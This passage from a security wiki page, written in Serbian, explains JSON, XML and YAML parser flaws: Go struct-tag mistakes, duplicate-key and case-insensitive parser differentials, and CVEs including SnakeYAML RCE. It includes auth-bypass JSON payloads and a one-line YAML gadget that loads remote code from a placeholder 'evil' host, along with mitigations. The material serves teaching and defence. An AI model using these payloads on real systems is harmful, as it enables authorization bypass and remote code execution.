# JSON, XML & Yaml Hacking & Issues {{#include ../banners/hacktricks-training.md}} ## Go JSON Decoder Sledeći problemi su otkriveni u Go JSON-u, iako se mogu pojaviti i u drugim jezicima. Ovi problemi su objavljeni u [**ovom blog postu**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/). Go-ovi JSON, XML i YAML parseri imaju dugu istoriju nedoslednosti i nesigurnih podrazumevanih postavki koje se mogu iskoristiti za **obići autentifikaciju**, **povećati privilegije** ili **ekstraktovati osetljive podatke**. ### (Un)Marshaling Unexpected Data Cilj je iskoristiti strukture koje omogućavaju napadaču da čita/piše osetljiva polja (npr., `IsAdmin`, `Password`). - Primer strukture: ```go type User struct { Username string `json:"username,omitempty"` Password string `json:"password,omitempty"` IsAdmin bool `json:"-"` } ``` - Uobičajene ranjivosti 1. **Nedostajući tag** (bez taga = polje se i dalje obrađuje po defaultu): ```go type User struct { Username string } ``` Teret: ```json {"Username": "admin"} ``` 2. **Pogrešna upotreba `-`**: ```go type User struct { IsAdmin bool `json:"-,omitempty"` // ❌ wrong } ``` Payload: ```json {"-": true} ``` ✔️ Pravi način da se blokira polje od (de)serijalizacije: ```go type User struct { IsAdmin bool `json:"-"` } ``` ### Parser Differentials Cilj je zaobići autorizaciju iskorišćavanjem načina na koji različiti parseri različito interpretiraju isti payload, kao u: - CVE-2017-12635: Apache CouchDB zaobilaženje putem duplih ključeva - 2022: Zoom 0-click RCE putem nekonzistentnosti XML parsera - GitLab 2025 SAML zaobilaženje putem XML čudnosti **1. Dupli Polja:** Go-ov `encoding/json` uzima **poslednje** polje. ```go json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req) fmt.Println(req.Action) // AdminAction ``` Ostali parseri (npr., Java-ov Jackson) mogu uzeti **prvi**. **2. Neosetljivost na velika i mala slova:** Go je neosetljiv na velika i mala slova: ```go json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req) // matches `Action` field ``` Čak i Unicode trikovi rade: ```go json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) ``` **3. Neusklađenost između usluga:** Zamislite: - Proxy napisan u Go - AuthZ usluga napisana u Pythonu Napadač šalje: ```json { "action": "UserAction", "AcTiOn": "AdminAction" } ``` - Python vidi `UserAction`, dozvoljava ga - Go vidi `AdminAction`, izvršava ga ### Zbunjenost formata podataka (Poliglot) Cilj je iskoristiti sisteme koji mešaju formate (JSON/XML/YAML) ili se otvaraju na greškama parsera kao što su: - **CVE-2020-16250**: HashiCorp Vault je parsirao JSON sa XML parserom nakon što je STS vratio JSON umesto XML. Napadač kontroliše: - `Accept: application/json` zaglavlje - Delimičnu kontrolu nad JSON telom Go-ov XML parser je to **u svakom slučaju** parsirao i verovao injektovanoj identitetu. - Kreirani payload: ```json { "action": "Action_1", "AcTiOn": "Action_2", "ignored": "Action_3" } ``` Rezultat: - **Go JSON** parser: `Action_2` (neosetljivo + poslednje pobednik) - **YAML** parser: `Action_1` (osetljivo na velika i mala slova) - **XML** parser: parsira `"Action_3"` unutar stringa --- ## Značajne ranjivosti parsera (2023-2025) > Sledeći javno eksploatabilni problemi pokazuju da je nesigurno parsiranje problem više jezika — nije samo problem Go-a. ### SnakeYAML Deserialization RCE (CVE-2022-1471) * Pogađa: `org.yaml:snakeyaml` < **2.0** (koristi se u Spring-Boot, Jenkins, itd.). * Osnovni uzrok: `new Constructor()` deserializuje **arbitrarne Java klase**, omogućavajući lanac gadgeta koji kulminira u izvršavanju daljinskog koda. * Jednolinijski PoC (otvoriće kalkulator na ranjivom hostu): ```yaml !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] ``` * Popravka / Ublažavanje: 1. **Ažurirajte na ≥2.0** (koristi `SafeLoader` po defaultu). 2. Na starijim verzijama, eksplicitno koristite `new Yaml(new SafeConstructor())`. ### libyaml Double-Free (CVE-2024-35325) * Pogađa: `libyaml` ≤0.2.5 (C biblioteka koja se koristi u mnogim jezičkim vezama). * Problem: Pozivanje `yaml_event_delete()` dva puta dovodi do double-free koji napadači mogu iskoristiti za DoS ili, u nekim scenarijima, eksploataciju heap-a. * Status: Upstream odbijen kao “zloupotreba API-ja”, ali Linux distribucije su isporučile zakrčenu **0.2.6** koja null-frees pokazivač odbrambeno. ### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684) * Pogađa: Tencent **RapidJSON** pre commit-a `8269bc2` (<1.1.0-patch-22). * Greška: U `GenericReader::ParseNumber()` neproverena aritmetika omogućava napadačima da kreiraju ogromne numeričke literale koji se obavijaju i korumpiraju heap — što na kraju omogućava eskalaciju privilegija kada se rezultantna objekatna grafika koristi za odluke o autorizaciji. --- ### 🔐 Ublažavanja (Ažurirano) | Rizik | Popravka / Preporuka | |-------------------------------------|------------------------------------------------------------| | Nepoznati polja (JSON) | `decoder.DisallowUnknownFields()` | | Duplikat polja (JSON) | ❌ Nema popravke u stdlib — validirajte sa [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) | | Neosetljiva podudarnost (Go) | ❌ Nema popravke — validirajte oznake strukture + pre-kanonizujte ulaz | | XML smešni podaci / XXE | Koristite ojačan parser (`encoding/xml` + `DisallowDTD`) | | YAML nepoznati ključevi | `yaml.KnownFields(true)` | | **Nepouzdana YAML deserializacija** | Koristite SafeConstructor / ažurirajte na SnakeYAML ≥2.0 | | libyaml ≤0.2.5 double-free | Ažurirajte na **0.2.6** ili distribucijski zakrčenu verziju | | RapidJSON